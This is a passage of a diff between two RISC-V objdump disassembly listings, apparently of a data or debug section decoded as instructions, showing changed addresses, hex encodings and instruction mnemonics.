-     a74:	0092f84b          	fnmsub.s	fa6,ft5,fs1,ft0
-     a78:	0500                	addi	s0,sp,640
-     a7a:	474e                	lw	a4,208(sp)
-     a7c:	0048                	addi	a0,sp,4
-     a7e:	0000                	unimp
-     a80:	0004                	0x4
+     8ec:	008c                	addi	a1,sp,64
+     8ee:	0500                	addi	s0,sp,640
+     8f0:	2400                	fld	fs0,8(s0)
+     8f2:	006e                	c.slli	zero,0x1b
+     8f4:	0500                	addi	s0,sp,640
+     8f6:	3e00                	fld	fs0,56(a2)
+     8f8:	005a                	c.slli	zero,0x16
+     8fa:	0500                	addi	s0,sp,640
+     8fc:	9300                	0x9300
+     8fe:	008d                	addi	ra,ra,3
+     900:	0500                	addi	s0,sp,640
+     902:	a000                	fsd	fs0,0(s0)
+     904:	0024                	addi	s1,sp,8
+     906:	0500                	addi	s0,sp,640
+     908:	0200                	addi	s0,sp,256
+     90a:	006a                	c.slli	zero,0x1a
+     90c:	0500                	addi	s0,sp,640
+     90e:	8a00                	0x8a00
+     910:	002c                	addi	a1,sp,8
+     912:	0500                	addi	s0,sp,640
+     914:	1500                	addi	s0,sp,672
+     916:	0079                	c.nop	30
+     918:	0500                	addi	s0,sp,640
+     91a:	5b00                	lw	s0,48(a4)
+     91c:	0029                	c.nop	10
+     91e:	0500                	addi	s0,sp,640
+     920:	b000                	fsd	fs0,32(s0)
+     922:	0041                	c.nop	16
+     924:	0500                	addi	s0,sp,640
+     926:	cf00                	sw	s0,24(a4)
+     928:	0500004b          	0x500004b
+     92c:	cd00                	sw	s0,24(a0)
+     92e:	05000073          	0x5000073
+     932:	2c00                	fld	fs0,24(s0)
+     934:	00a1                	addi	ra,ra,8
+     936:	0500                	addi	s0,sp,640
+     938:	9d00                	0x9d00
+     93a:	0071                	c.nop	28
+     93c:	0500                	addi	s0,sp,640
+     93e:	e700                	fsw	fs0,8(a4)
+     940:	0072                	c.slli	zero,0x1c
+     942:	0500                	addi	s0,sp,640
+     944:	b800                	fsd	fs0,48(s0)
+     946:	0000                	unimp
+     948:	0500                	addi	s0,sp,640
+     94a:	3b00                	fld	fs0,48(a4)
+     94c:	005e                	c.slli	zero,0x17
+     94e:	0500                	addi	s0,sp,640
+     950:	b200                	fsd	fs0,32(a2)
+     952:	001e                	c.slli	zero,0x7
+     954:	0500                	addi	s0,sp,640
+     956:	1500                	addi	s0,sp,672
+     958:	0062                	c.slli	zero,0x18
+     95a:	0500                	addi	s0,sp,640
+     95c:	3900                	fld	fs0,48(a0)
+     95e:	003c                	addi	a5,sp,8
+     960:	0500                	addi	s0,sp,640
+     962:	8800                	0x8800
+     964:	007f                	0x7f
+     966:	0500                	addi	s0,sp,640
+     968:	2300                	fld	fs0,0(a4)
+     96a:	05000077          	0x5000077
+     96e:	7a00                	flw	fs0,48(a2)
+     970:	0091                	addi	ra,ra,4
+     972:	0500                	addi	s0,sp,640
+     974:	db00                	sw	s0,48(a4)
+     976:	0061                	c.nop	24
+     978:	0500                	addi	s0,sp,640
+     97a:	d500                	sw	s0,40(a0)
+     97c:	05000037          	lui	zero,0x5000
+     980:	5f00                	lw	s0,56(a4)
+     982:	008a                	slli	ra,ra,0x2
+     984:	0500                	addi	s0,sp,640
+     986:	eb00                	fsw	fs0,16(a4)
+     988:	0065                	c.nop	25
+     98a:	0500                	addi	s0,sp,640
+     98c:	b500                	fsd	fs0,40(a0)
+     98e:	005d                	c.nop	23
+     990:	0500                	addi	s0,sp,640
+     992:	7500                	flw	fs0,40(a0)
+     994:	0039                	c.nop	14
+     996:	0500                	addi	s0,sp,640
+     998:	d300                	sw	s0,32(a4)
+     99a:	006a                	c.slli	zero,0x1a
+     99c:	0500                	addi	s0,sp,640
+     99e:	ed00                	fsw	fs0,24(a0)
+     9a0:	0024                	addi	s1,sp,8
+     9a2:	0500                	addi	s0,sp,640
+     9a4:	1e00                	addi	s0,sp,816
+     9a6:	0500005b          	0x500005b
+     9aa:	b400                	fsd	fs0,40(s0)
+     9ac:	003c                	addi	a5,sp,8
+     9ae:	0500                	addi	s0,sp,640
+     9b0:	d100                	sw	s0,32(a0)
+     9b2:	005c                	addi	a5,sp,4
+     9b4:	0500                	addi	s0,sp,640
+     9b6:	eb00                	fsw	fs0,16(a4)
+     9b8:	0032                	c.slli	zero,0xc
+     9ba:	0500                	addi	s0,sp,640
+     9bc:	3e00                	fld	fs0,56(a2)
+     9be:	0500004b          	0x500004b
+     9c2:	9300                	0x9300
+     9c4:	008a                	slli	ra,ra,0x2
+     9c6:	0500                	addi	s0,sp,640
+     9c8:	5b00                	lw	s0,48(a4)
+     9ca:	0070                	addi	a2,sp,12
+     9cc:	0500                	addi	s0,sp,640
+     9ce:	dd00                	sw	s0,56(a0)
+     9d0:	0078                	addi	a4,sp,12
+     9d2:	0500                	addi	s0,sp,640
+     9d4:	7d00                	flw	fs0,56(a0)
+     9d6:	05000037          	lui	zero,0x5000
+     9da:	9d00                	0x9d00
+     9dc:	0096                	slli	ra,ra,0x5
+     9de:	0500                	addi	s0,sp,640
+     9e0:	8400                	0x8400
+     9e2:	001a                	c.slli	zero,0x6
+     9e4:	0500                	addi	s0,sp,640
+     9e6:	8600                	0x8600
+     9e8:	0034                	addi	a3,sp,8
+     9ea:	0500                	addi	s0,sp,640
+     9ec:	1c00                	addi	s0,sp,560
+     9ee:	0094                	addi	a3,sp,64
+     9f0:	0500                	addi	s0,sp,640
+     9f2:	8b00                	0x8b00
+     9f4:	0009                	c.nop	2
+     9f6:	0500                	addi	s0,sp,640
+     9f8:	e300                	fsw	fs0,0(a4)
+     9fa:	0500000b          	0x500000b
+     9fe:	8000                	0x8000
+     a00:	0076                	c.slli	zero,0x1d
+     a02:	0000                	unimp
+     a04:	0004                	0x4
+     a06:	0500                	addi	s0,sp,640
+     a08:	7f04                	flw	fs1,56(a4)
+     a0a:	0045                	c.nop	17
+     a0c:	0500                	addi	s0,sp,640
+     a0e:	5f06                	lw	t5,96(sp)
+     a10:	009e                	slli	ra,ra,0x7
+     a12:	0500                	addi	s0,sp,640
+     a14:	00469807          	0x469807
+     a18:	0500                	addi	s0,sp,640
+     a1a:	e008                	fsw	fa0,0(s0)
+     a1c:	002c                	addi	a1,sp,8
+     a1e:	0500                	addi	s0,sp,640
+     a20:	4e09                	li	t3,2
+     a22:	0035                	c.nop	13
+     a24:	0000                	unimp
+     a26:	0004                	0x4
+     a28:	0500                	addi	s0,sp,640
+     a2a:	8012                	c.mv	zero,tp
+     a2c:	0500000f          	fence	ow,unknown
+     a30:	a515                	j	1054 <__stack_size+0x854>
+     a32:	0078                	addi	a4,sp,12
+     a34:	0500                	addi	s0,sp,640
+     a36:	bd18                	fsd	fa4,56(a0)
+     a38:	0025                	c.nop	9
+     a3a:	0500                	addi	s0,sp,640
+     a3c:	000c5e1b          	0xc5e1b
+     a40:	0500                	addi	s0,sp,640
+     a42:	000c502b          	0xc502b
+     a46:	0500                	addi	s0,sp,640
+     a48:	d935                	beqz	a0,9bc <__stack_size+0x1bc>
+     a4a:	0500006f          	j	a9a <__stack_size+0x29a>
+     a4e:	433c                	lw	a5,64(a4)
+     a50:	05000043          	0x5000043
+     a54:	006a263f 2c450500 	0x2c450500006a263f
+     a5c:	007f                	0x7f
+     a5e:	0500                	addi	s0,sp,640
+     a60:	cd48                	sw	a0,28(a0)
+     a62:	05000097          	auipc	ra,0x5000
+     a66:	0093944b          	fnmsub.s	fs0,ft7,fs1,ft0,rtz
+     a6a:	0500                	addi	s0,sp,640
+     a6c:	644e                	flw	fs0,208(sp)
+     a6e:	0049                	c.nop	18
+     a70:	0000                	unimp
+     a72:	0004                	0x4
+     a74:	0500                	addi	s0,sp,640
+     a76:	19ef01c3          	fmadd.s	ft3,ft10,ft10,ft3,rne
+     a7a:	0000                	unimp
+     a7c:	d905                	beqz	a0,9ac <__stack_size+0x1ac>
+     a7e:	002da803          	lw	a6,2(s11)
      a82:	0500                	addi	s0,sp,640
-     a84:	1ab901c3          	fmadd.d	ft3,fs2,fa1,ft3,rne
+     a84:	03dc                	addi	a5,sp,452
+     a86:	926a                	add	tp,tp,s10
      a88:	0000                	unimp
-     a8a:	d905                	beqz	a0,9ba <__stack_size+0x1ba>
-     a8c:	00455a03          	lhu	s4,4(a0)
-     a90:	0500                	addi	s0,sp,640
-     a92:	03dc                	addi	a5,sp,452
-     a94:	000091c3          	fmadd.s	ft3,ft1,ft0,ft0,rtz
-     a98:	0400                	addi	s0,sp,512
-     a9a:	0000                	unimp
-     a9c:	1605                	addi	a2,a2,-31
-     a9e:	7c91                	lui	s9,0xfffe4
-     aa0:	0000                	unimp
-     aa2:	2105                	jal	ec2 <__stack_size+0x6c2>
-     aa4:	68a1                	lui	a7,0x8
-     aa6:	0000                	unimp
-     aa8:	2805                	jal	ad8 <__stack_size+0x2d8>
-     aaa:	802e                	c.mv	zero,a1
+     a8a:	0400                	addi	s0,sp,512
+     a8c:	0000                	unimp
+     a8e:	1605                	addi	a2,a2,-31
+     a90:	7d04                	flw	fs1,56(a0)
+     a92:	0000                	unimp
+     a94:	2105                	jal	eb4 <__stack_size+0x6b4>
+     a96:	695e                	flw	fs2,212(sp)
+     a98:	0000                	unimp
+     a9a:	2805                	jal	aca <__stack_size+0x2ca>
+     a9c:	80b1                	srli	s1,s1,0xc
+     a9e:	0000                	unimp
+     aa0:	8306                	mv	t1,ra
+     aa2:	ca01                	beqz	a2,ab2 <__stack_size+0x2b2>
+     aa4:	002a                	c.slli	zero,0xa
+     aa6:	0500                	addi	s0,sp,640
+     aa8:	0184                	addi	s1,sp,192
+     aaa:	6dc9                	lui	s11,0x12
      aac:	0000                	unimp
-     aae:	8306                	mv	t1,ra
-     ab0:	ff01                	bnez	a4,9c8 <__stack_size+0x1c8>
-     ab2:	0029                	c.nop	10
-     ab4:	0500                	addi	s0,sp,640
-     ab6:	0184                	addi	s1,sp,192
-     ab8:	00006d2b          	0x6d2b
-     abc:	8806                	mv	a6,ra
-     abe:	e801                	bnez	s0,ace <__stack_size+0x2ce>
-     ac0:	0022                	c.slli	zero,0x8
-     ac2:	0500                	addi	s0,sp,640
-     ac4:	0189                	addi	gp,gp,2
-     ac6:	83e2                	mv	t2,s8
+     aae:	8806                	mv	a6,ra
+     ab0:	9901                	andi	a0,a0,-32
+     ab2:	05000023          	sb	a6,64(zero) # 40 <__stack_size-0x7c0>
+     ab6:	0189                	addi	gp,gp,2
+     ab8:	8468                	0x8468
+     aba:	0000                	unimp
+     abc:	8a06                	mv	s4,ra
+     abe:	7701                	lui	a4,0xfffe0
+     ac0:	05000047          	0x5000047
+     ac4:	6db1018b          	0x6db1018b
      ac8:	0000                	unimp
-     aca:	8a06                	mv	s4,ra
-     acc:	8b01                	andi	a4,a4,0
-     ace:	0008                	0x8
-     ad0:	0500                	addi	s0,sp,640
-     ad2:	6d13018b          	0x6d13018b
+     aca:	9e06                	add	t3,t3,ra
+     acc:	dc01                	beqz	s0,9e4 <__stack_size+0x1e4>
+     ace:	009f 0500 019f      	0x19f0500009f
+     ad4:	8064                	0x8064
      ad6:	0000                	unimp
-     ad8:	9e06                	add	t3,t3,ra
-     ada:	a401                	j	cda <__stack_size+0x4da>
-     adc:	009f 0500 019f      	0x19f0500009f
-     ae2:	7fe1                	lui	t6,0xffff8
+     ad8:	f705                	bnez	a4,a00 <__stack_size+0x200>
+     ada:	2d01                	jal	10ea <__stack_size+0x8ea>
+     adc:	0061                	c.nop	24
+     ade:	0500                	addi	s0,sp,640
+     ae0:	01fd                	addi	gp,gp,31
+     ae2:	7092                	flw	ft1,36(sp)
      ae4:	0000                	unimp
-     ae6:	f705                	bnez	a4,a0e <__stack_size+0x20e>
-     ae8:	3001                	jal	2e8 <__stack_size-0x518>
-     aea:	0060                	addi	s0,sp,12
+     ae6:	8505                	srai	a0,a0,0x1
+     ae8:	d602                	sw	zero,44(sp)
+     aea:	007a                	c.slli	zero,0x1e
      aec:	0500                	addi	s0,sp,640
-     aee:	01fd                	addi	gp,gp,31
-     af0:	7011                	c.lui	zero,0xfffe4
-     af2:	0000                	unimp
-     af4:	8505                	srai	a0,a0,0x1
-     af6:	5d02                	lw	s10,32(sp)
-     af8:	007a                	c.slli	zero,0x1e
+     aee:	028a                	slli	t0,t0,0x2
+     af0:	000016c7          	fmsub.s	fa3,ft0,ft0,ft0,rtz
+     af4:	9505                	srai	a0,a0,0x21
+     af6:	4402                	lw	s0,0(sp)
+     af8:	0060                	addi	s0,sp,12
      afa:	0500                	addi	s0,sp,640
-     afc:	028a                	slli	t0,t0,0x2
-     afe:	1778                	addi	a4,sp,940
+     afc:	0299                	addi	t0,t0,6
+     afe:	020a                	slli	tp,tp,0x2
      b00:	0000                	unimp
-     b02:	9505                	srai	a0,a0,0x21
-     b04:	3802                	fld	fa6,32(sp)
-     b06:	005f 0500 0299      	0x2990500005f
-     b0c:	0000023f 74029f05 	0x74029f050000023f
-     b14:	0045                	c.nop	17
-     b16:	0500                	addi	s0,sp,640
-     b18:	39c602af          	0x39c602af
+     b02:	9f05                	0x9f05
+     b04:	8102                	jr	sp
+     b06:	0046                	c.slli	zero,0x11
+     b08:	0500                	addi	s0,sp,640
+     b0a:	3ab902af          	0x3ab902af
+     b0e:	0000                	unimp
+     b10:	bf05                	j	a40 <__stack_size+0x240>
+     b12:	6e02                	flw	ft8,0(sp)
+     b14:	05000063          	beq	zero,a6,b54 <__stack_size+0x354>
+     b18:	02ca                	slli	t0,t0,0x12
+     b1a:	7cee                	flw	fs9,248(sp)
      b1c:	0000                	unimp
-     b1e:	bf05                	j	a4e <__stack_size+0x24e>
-     b20:	a302                	fsd	ft0,384(sp)
-     b22:	0062                	c.slli	zero,0x18
-     b24:	0500                	addi	s0,sp,640
-     b26:	02ca                	slli	t0,t0,0x12
-     b28:	00007c7b          	0x7c7b
-     b2c:	0400                	addi	s0,sp,512
-     b2e:	0000                	unimp
-     b30:	5305                	li	t1,-31
-     b32:	000092d7          	0x92d7
-     b36:	e005                	bnez	s0,b56 <__stack_size+0x356>
-     b38:	da01                	beqz	a2,a48 <__stack_size+0x248>
-     b3a:	0056                	c.slli	zero,0x15
-     b3c:	0600                	addi	s0,sp,768
-     b3e:	01e6                	slli	gp,gp,0x19
-     b40:	6c15                	lui	s8,0x5
+     b1e:	0400                	addi	s0,sp,512
+     b20:	0000                	unimp
+     b22:	5305                	li	t1,-31
+     b24:	00009373          	csrrw	t1,ustatus,ra
+     b28:	e005                	bnez	s0,b48 <__stack_size+0x348>
+     b2a:	1701                	addi	a4,a4,-32
+     b2c:	0058                	addi	a4,sp,4
+     b2e:	0600                	addi	s0,sp,768
+     b30:	01e6                	slli	gp,gp,0x19
+     b32:	00006cb3          	or	s9,zero,zero
+     b36:	ea05                	bnez	a2,b66 <__stack_size+0x366>
+     b38:	5701                	li	a4,-32
+     b3a:	05000033          	0x5000033
+     b3e:	01fa                	slli	gp,gp,0x1e
+     b40:	62b8                	flw	fa4,64(a3)
      b42:	0000                	unimp
-     b44:	ea05                	bnez	a2,b74 <__stack_size+0x374>
-     b46:	5401                	li	s0,-32
-     b48:	0032                	c.slli	zero,0xc
+     b44:	fe05                	bnez	a2,a7c <__stack_size+0x27c>
+     b46:	7001                	c.lui	zero,0xfffe0
+     b48:	0090                	addi	a2,sp,64
      b4a:	0500                	addi	s0,sp,640
-     b4c:	01fa                	slli	gp,gp,0x1e
-     b4e:	000061bb          	0x61bb
-     b52:	fe05                	bnez	a2,a8a <__stack_size+0x28a>
-     b54:	b601                	j	654 <__stack_size-0x1ac>
-     b56:	0500008f          	0x500008f
-     b5a:	0608028b          	0x608028b
-     b5e:	0000                	unimp
-     b60:	0400                	addi	s0,sp,512
-     b62:	0000                	unimp
-     b64:	1f05                	addi	t5,t5,-31
-     b66:	1f26                	slli	t5,t5,0x29
-     b68:	0000                	unimp
-     b6a:	2005                	jal	b8a <__stack_size+0x38a>
-     b6c:	0000472f          	0x472f
-     b70:	2105                	jal	f90 <__stack_size+0x790>
-     b72:	81f0                	0x81f0
-     b74:	0000                	unimp
-     b76:	2505                	jal	1196 <__stack_size+0x996>
-     b78:	9189                	srli	a1,a1,0x22
-     b7a:	0000                	unimp
-     b7c:	2b05                	jal	10ac <__stack_size+0x8ac>
-     b7e:	00007b03          	0x7b03
-     b82:	4505                	li	a0,1
-     b84:	0000805b          	0x805b
-     b88:	4905                	li	s2,1
-     b8a:	00000f0f          	0xf0f
-     b8e:	4a05                	li	s4,1
-     b90:	0000914f          	fnmadd.s	ft2,ft1,ft0,ft0,rtz
-     b94:	0400                	addi	s0,sp,512
-     b96:	0000                	unimp
-     b98:	0605                	addi	a2,a2,1
-     b9a:	7134                	flw	fa3,96(a0)
-     b9c:	0000                	unimp
-     b9e:	0f05                	addi	t5,t5,1
-     ba0:	1c8e                	slli	s9,s9,0x23
-     ba2:	0000                	unimp
-     ba4:	1a05                	addi	s4,s4,-31
-     ba6:	0442                	slli	s0,s0,0x10
-     ba8:	0000                	unimp
-     baa:	2105                	jal	fca <__stack_size+0x7ca>
-     bac:	000084d3          	fadd.s	fs1,ft1,ft0,rne
-     bb0:	2f05                	jal	12e0 <__stack_size+0xae0>
-     bb2:	6f74                	flw	fa3,92(a4)
-     bb4:	0000                	unimp
-     bb6:	3d05                	jal	9e6 <__stack_size+0x1e6>
-     bb8:	0000301b          	0x301b
-     bbc:	5305                	li	t1,-31
-     bbe:	8fc0                	0x8fc0
-     bc0:	0000                	unimp
-     bc2:	6d05                	lui	s10,0x1
-     bc4:	364c                	fld	fa1,168(a2)
-     bc6:	0000                	unimp
-     bc8:	8c05                	sub	s0,s0,s1
-     bca:	ff01                	bnez	a4,ae2 <__stack_size+0x2e2>
-     bcc:	05000067          	jr	80(zero) # 0 <__stack_size-0x800>
-     bd0:	01a6                	slli	gp,gp,0x9
-     bd2:	4d8a                	lw	s11,128(sp)
-     bd4:	0000                	unimp
-     bd6:	bc05                	j	606 <__stack_size-0x1fa>
-     bd8:	fa01                	bnez	a2,ae8 <__stack_size+0x2e8>
-     bda:	0008                	0x8
-     bdc:	0500                	addi	s0,sp,640
-     bde:	01ce                	slli	gp,gp,0x13
-     be0:	53dc                	lw	a5,36(a5)
-     be2:	0000                	unimp
-     be4:	f406                	fsw	ft1,40(sp)
-     be6:	8101                	c.srli64	a0
-     be8:	0016                	c.slli	zero,0x5
-     bea:	0000                	unimp
-     bec:	0004                	0x4
-     bee:	0500                	addi	s0,sp,640
-     bf0:	005c3827          	fsd	ft5,16(s8) # 5010 <__stack_size+0x4810>
-     bf4:	0500                	addi	s0,sp,640
-     bf6:	ce28                	sw	a0,88(a2)
-     bf8:	007f                	0x7f
-     bfa:	0500                	addi	s0,sp,640
-     bfc:	332a                	fld	ft6,168(sp)
-     bfe:	005c                	addi	a5,sp,4
+     b4c:	057e028b          	0x57e028b
+     b50:	0000                	unimp
+     b52:	0400                	addi	s0,sp,512
+     b54:	0000                	unimp
+     b56:	1f05                	addi	t5,t5,-31
+     b58:	1f5c                	addi	a5,sp,948
+     b5a:	0000                	unimp
+     b5c:	2005                	jal	b7c <__stack_size+0x37c>
+     b5e:	484c                	lw	a1,20(s0)
+     b60:	0000                	unimp
+     b62:	2105                	jal	f82 <__stack_size+0x782>
+     b64:	00008273          	0x8273
+     b68:	2505                	jal	1188 <__stack_size+0x988>
+     b6a:	9226                	add	tp,tp,s1
+     b6c:	0000                	unimp
+     b6e:	2b05                	jal	109e <__stack_size+0x89e>
+     b70:	7b7c                	flw	fa5,116(a4)
+     b72:	0000                	unimp
+     b74:	4505                	li	a0,1
+     b76:	80de                	mv	ra,s7
+     b78:	0000                	unimp
+     b7a:	4905                	li	s2,1
+     b7c:	00000ec7          	fmsub.s	ft9,ft0,ft0,ft0,rne
+     b80:	4a05                	li	s4,1
+     b82:	9204                	0x9204
+     b84:	0000                	unimp
+     b86:	0400                	addi	s0,sp,512
+     b88:	0000                	unimp
+     b8a:	0605                	addi	a2,a2,1
+     b8c:	71b5                	lui	gp,0xfffed
+     b8e:	0000                	unimp
+     b90:	0f05                	addi	t5,t5,1
+     b92:	1bbc                	addi	a5,sp,504
+     b94:	0000                	unimp
+     b96:	1a05                	addi	s4,s4,-31
+     b98:	03d2                	slli	t2,t2,0x14
+     b9a:	0000                	unimp
+     b9c:	2105                	jal	fbc <__stack_size+0x7bc>
+     b9e:	0000854f          	fnmadd.s	fa0,ft1,ft0,ft0,rne
+     ba2:	2f05                	jal	12d2 <__stack_size+0xad2>
+     ba4:	700d                	c.lui	zero,0xfffe3
+     ba6:	0000                	unimp
+     ba8:	3d05                	jal	9d8 <__stack_size+0x1d8>
+     baa:	0000310f          	0x310f
+     bae:	5305                	li	t1,-31
+     bb0:	907a                	c.add	zero,t5
+     bb2:	0000                	unimp
+     bb4:	6d05                	lui	s10,0x1
+     bb6:	5bae                	lw	s7,232(sp)
+     bb8:	0000                	unimp
+     bba:	8c05                	sub	s0,s0,s1
+     bbc:	bc01                	j	5cc <__stack_size-0x234>
+     bbe:	0068                	addi	a0,sp,12
+     bc0:	0500                	addi	s0,sp,640
+     bc2:	01a6                	slli	gp,gp,0x9
+     bc4:	00004e87          	flq	ft9,0(zero) # 0 <__stack_size-0x800>
+     bc8:	bc05                	j	5f8 <__stack_size-0x208>
+     bca:	a601                	j	eca <__stack_size+0x6ca>
+     bcc:	0008                	0x8
+     bce:	0500                	addi	s0,sp,640
+     bd0:	01ce                	slli	gp,gp,0x13
+     bd2:	000056c7          	fmsub.s	fa3,ft0,ft0,ft0,unknown
+     bd6:	f406                	fsw	ft1,40(sp)
+     bd8:	d001                	beqz	s0,ad8 <__stack_size+0x2d8>
+     bda:	0015                	c.nop	5
+     bdc:	0000                	unimp
+     bde:	0004                	0x4
+     be0:	0500                	addi	s0,sp,640
+     be2:	005d4227          	fsq	ft5,4(s10) # 1004 <__stack_size+0x804>
+     be6:	0500                	addi	s0,sp,640
+     be8:	5128                	lw	a0,96(a0)
+     bea:	0080                	addi	s0,sp,64
+     bec:	0500                	addi	s0,sp,640
+     bee:	3d2a                	fld	fs10,168(sp)
+     bf0:	005d                	c.nop	23
+     bf2:	0500                	addi	s0,sp,640
+     bf4:	21e10183          	lb	gp,542(sp)
+     bf8:	0000                	unimp
+     bfa:	8405                	srai	s0,s0,0x1
+     bfc:	ef01                	bnez	a4,c14 <__stack_size+0x414>
+     bfe:	000a                	c.slli	zero,0x2
      c00:	0500                	addi	s0,sp,640
-     c02:	21590183          	lb	gp,533(s2)
+     c02:	0185                	addi	gp,gp,1
+     c04:	73c1                	lui	t2,0xffff0
      c06:	0000                	unimp
-     c08:	8405                	srai	s0,s0,0x1
-     c0a:	6701                	0x6701
-     c0c:	0500000b          	0x500000b
-     c10:	0185                	addi	gp,gp,1
-     c12:	7326                	flw	ft6,104(sp)
+     c08:	8605                	srai	a2,a2,0x1
+     c0a:	e101                	bnez	a0,c0a <__stack_size+0x40a>
+     c0c:	05000063          	beq	zero,a6,c4c <__stack_size+0x44c>
+     c10:	83b20187          	0x83b20187
      c14:	0000                	unimp
-     c16:	8605                	srai	a2,a2,0x1
-     c18:	2001                	jal	c18 <__stack_size+0x418>
-     c1a:	05000063          	beq	zero,a6,c5a <__stack_size+0x45a>
-     c1e:	832c0187          	0x832c0187
+     c16:	8805                	andi	s0,s0,1
+     c18:	ae01                	j	f28 <__stack_size+0x728>
+     c1a:	05000083          	lb	ra,80(zero) # 50 <__stack_size-0x7b0>
+     c1e:	0189                	addi	gp,gp,2
+     c20:	9166                	add	sp,sp,s9
      c22:	0000                	unimp
-     c24:	8805                	andi	s0,s0,1
-     c26:	2801                	jal	c36 <__stack_size+0x436>
-     c28:	05000083          	lb	ra,80(zero) # 50 <__stack_size-0x7b0>
-     c2c:	0189                	addi	gp,gp,2
-     c2e:	90a1                	srli	s1,s1,0x28
+     c24:	8a05                	andi	a2,a2,1
+     c26:	dd01                	beqz	a0,b3e <__stack_size+0x33e>
+     c28:	0021                	c.nop	8
+     c2a:	0500                	addi	s0,sp,640
+     c2c:	273a018b          	0x273a018b
      c30:	0000                	unimp
-     c32:	8a05                	andi	a2,a2,1
-     c34:	5501                	li	a0,-32
-     c36:	0021                	c.nop	8
+     c32:	9b06                	add	s6,s6,ra
+     c34:	8701                	c.srai64	a4
+     c36:	0060                	addi	s0,sp,12
      c38:	0500                	addi	s0,sp,640
-     c3a:	2676018b          	0x2676018b
+     c3a:	01b5                	addi	gp,gp,13
+     c3c:	56e2                	lw	a3,56(sp)
      c3e:	0000                	unimp
-     c40:	9b06                	add	s6,s6,ra
-     c42:	7b01                	lui	s6,0xfffe0
-     c44:	005f 0500 01b5      	0x1b50500005f
-     c4a:	55b4                	lw	a3,104(a1)
+     c40:	b605                	j	760 <__stack_size-0xa0>
+     c42:	9601                	srai	a2,a2,0x20
+     c44:	009a                	slli	ra,ra,0x6
+     c46:	0500                	addi	s0,sp,640
+     c48:	4bc601b7          	lui	gp,0x4bc60
      c4c:	0000                	unimp
-     c4e:	b605                	j	76e <__stack_size-0x92>
-     c50:	e801                	bnez	s0,c60 <__stack_size+0x460>
-     c52:	0099                	addi	ra,ra,6
-     c54:	0500                	addi	s0,sp,640
-     c56:	4a7f01b7          	lui	gp,0x4a7f0
+     c4e:	b805                	j	47e <__stack_size-0x382>
+     c50:	6001                	0x6001
+     c52:	0500004f          	0x500004f
+     c56:	01b9                	addi	gp,gp,14
+     c58:	16bd                	addi	a3,a3,-17
      c5a:	0000                	unimp
-     c5c:	b805                	j	48c <__stack_size-0x374>
-     c5e:	6301                	0x6301
-     c60:	004e                	c.slli	zero,0x13
-     c62:	0500                	addi	s0,sp,640
-     c64:	01b9                	addi	gp,gp,14
-     c66:	176e                	slli	a4,a4,0x3b
+     c5c:	ba05                	j	58c <__stack_size-0x274>
+     c5e:	d401                	beqz	s0,b66 <__stack_size+0x366>
+     c60:	05000067          	jr	80(zero) # 0 <__stack_size-0x800>
+     c64:	65b301bb          	0x65b301bb
      c68:	0000                	unimp
-     c6a:	ba05                	j	59a <__stack_size-0x266>
-     c6c:	6401                	0x6401
-     c6e:	05000067          	jr	80(zero) # 0 <__stack_size-0x800>
-     c72:	64fa01bb          	0x64fa01bb
+     c6a:	bc05                	j	69a <__stack_size-0x166>
+     c6c:	a801                	j	c7c <__stack_size+0x47c>
+     c6e:	005a                	c.slli	zero,0x16
+     c70:	0500                	addi	s0,sp,640
+     c72:	01bd                	addi	gp,gp,15
+     c74:	5aa4                	lw	s1,112(a3)
      c76:	0000                	unimp
-     c78:	bc05                	j	6a8 <__stack_size-0x158>
-     c7a:	4d01                	li	s10,0
-     c7c:	0059                	c.nop	22
+     c78:	be05                	j	7a8 <__stack_size-0x58>
+     c7a:	d901                	beqz	a0,b8a <__stack_size+0x38a>
+     c7c:	0010                	0x10
      c7e:	0500                	addi	s0,sp,640
-     c80:	01bd                	addi	gp,gp,15
-     c82:	5949                	li	s2,-14
-     c84:	0000                	unimp
-     c86:	be05                	j	7b6 <__stack_size-0x4a>
-     c88:	4501                	li	a0,0
-     c8a:	0011                	c.nop	4
+     c80:	6e9401bf c0050000 	0xc00500006e9401bf
+     c88:	d501                	beqz	a0,b90 <__stack_size+0x390>
+     c8a:	0010                	0x10
      c8c:	0500                	addi	s0,sp,640
-     c8e:	6dfb01bf c0050000 	0xc00500006dfb01bf
-     c96:	4101                	li	sp,0
-     c98:	0011                	c.nop	4
+     c8e:	01c1                	addi	gp,gp,16
+     c90:	1eea                	slli	t4,t4,0x3a
+     c92:	0000                	unimp
+     c94:	c205                	beqz	a2,cb4 <__stack_size+0x4b4>
+     c96:	df01                	beqz	a4,bae <__stack_size+0x3ae>
+     c98:	0038                	addi	a4,sp,8
      c9a:	0500                	addi	s0,sp,640
-     c9c:	01c1                	addi	gp,gp,16
-     c9e:	1eb4                	addi	a3,sp,888
+     c9c:	4bc201c3          	fmadd.d	ft3,ft4,ft8,fs1,rne
      ca0:	0000                	unimp
-     ca2:	c205                	beqz	a2,cc2 <__stack_size+0x4c2>
-     ca4:	fc01                	bnez	s0,bbc <__stack_size+0x3bc>
-     ca6:	05000037          	lui	zero,0x5000
-     caa:	4a7b01c3          	fmadd.d	ft3,fs6,ft7,fs1,rne
+     ca2:	c405                	beqz	s0,cca <__stack_size+0x4ca>
+     ca4:	4301                	li	t1,0
+     ca6:	007f                	0x7f
+     ca8:	0500                	addi	s0,sp,640
+     caa:	23be01cb          	fnmsub.d	ft3,ft8,fs11,ft4,rne
      cae:	0000                	unimp
-     cb0:	c405                	beqz	s0,cd8 <__stack_size+0x4d8>
-     cb2:	c001                	beqz	s0,cb2 <__stack_size+0x4b2>
-     cb4:	007e                	c.slli	zero,0x1f
+     cb0:	e706                	fsw	ft1,140(sp)
+     cb2:	1001                	c.nop	-32
+     cb4:	003d                	c.nop	15
      cb6:	0500                	addi	s0,sp,640
-     cb8:	230d01cb          	fnmsub.d	ft3,fs10,fa6,ft4,rne
+     cb8:	0284                	addi	s1,sp,320
+     cba:	48b4                	lw	a3,80(s1)
      cbc:	0000                	unimp
-     cbe:	e706                	fsw	ft1,140(sp)
-     cc0:	0301                	addi	t1,t1,0
-     cc2:	003c                	addi	a5,sp,8
-     cc4:	0500                	addi	s0,sp,640
-     cc6:	0284                	addi	s1,sp,320
-     cc8:	00000d63          	beqz	zero,ce2 <__stack_size+0x4e2>
-     ccc:	8505                	srai	a0,a0,0x1
-     cce:	e402                	fsw	ft0,8(sp)
-     cd0:	05000007          	0x5000007
-     cd4:	0286                	slli	t0,t0,0x1
-     cd6:	00003a6b          	0x3a6b
-     cda:	8705                	srai	a4,a4,0x1
-     cdc:	6e02                	flw	ft8,0(sp)
-     cde:	0069                	c.nop	26
-     ce0:	0500                	addi	s0,sp,640
